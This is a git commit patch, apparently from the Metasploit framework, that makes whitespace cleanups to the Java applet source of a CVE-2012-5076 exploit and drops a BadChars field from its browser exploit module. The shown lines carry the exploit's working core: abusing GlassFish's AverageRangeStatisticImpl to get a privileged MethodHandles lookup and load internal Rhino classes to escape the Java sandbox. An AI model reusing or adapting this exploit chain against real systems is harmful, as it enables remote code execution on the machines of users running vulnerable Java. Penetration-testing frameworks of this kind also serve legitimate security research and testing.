From 670b4e8e0694b5a08a1a4212f75d6db1cb9a64ed Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 17 Jan 2013 21:39:41 +0100 Subject: [PATCH] cleanup --- .../source/exploits/cve-2012-5076_2/Exploit.java | 16 ++++++++-------- ..._jre17_glassfish_averagerangestatisticimpl.rb | 2 +- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/external/source/exploits/cve-2012-5076_2/Exploit.java b/external/source/exploits/cve-2012-5076_2/Exploit.java index 21111fb258..78292012fb 100755 --- a/external/source/exploits/cve-2012-5076_2/Exploit.java +++ b/external/source/exploits/cve-2012-5076_2/Exploit.java @@ -38,15 +38,15 @@ public class Exploit extends Applet // convert it to a simple byte array buffer = bos.toByteArray(); - Class c = Class.forName("java.lang.invoke.MethodHandles"); - Method m = c.getMethod("lookup", new Class[0]); - AverageRangeStatisticImpl Avrg = new AverageRangeStatisticImpl(0,0,0,"","","",0,0); + Class c = Class.forName("java.lang.invoke.MethodHandles"); + Method m = c.getMethod("lookup", new Class[0]); + AverageRangeStatisticImpl Avrg = new AverageRangeStatisticImpl(0,0,0,"","","",0,0); MethodHandles.Lookup test = (MethodHandles.Lookup)Avrg.invoke(null, m, new Object[0]); - - MethodType localMethodType0 = MethodType.methodType(Class.class, String.class); - MethodHandle localMethodHandle0 = test.findStatic(Class.class, "forName", localMethodType0); - Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" }); - Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" }); + + MethodType localMethodType0 = MethodType.methodType(Class.class, String.class); + MethodHandle localMethodHandle0 = test.findStatic(Class.class, "forName", localMethodType0); + Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" }); + Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" }); // Instance of sun.org.mozilla.javascript.internal.Context MethodType localMethodType1 = MethodType.methodType(Void.TYPE); diff --git a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb index 5fabb2f338..72e5c67f36 100644 --- a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb +++ b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ] ], 'Platform' => [ 'java', 'win', 'osx', 'linux' ], - 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, + 'Payload' => { 'Space' => 20480, 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)',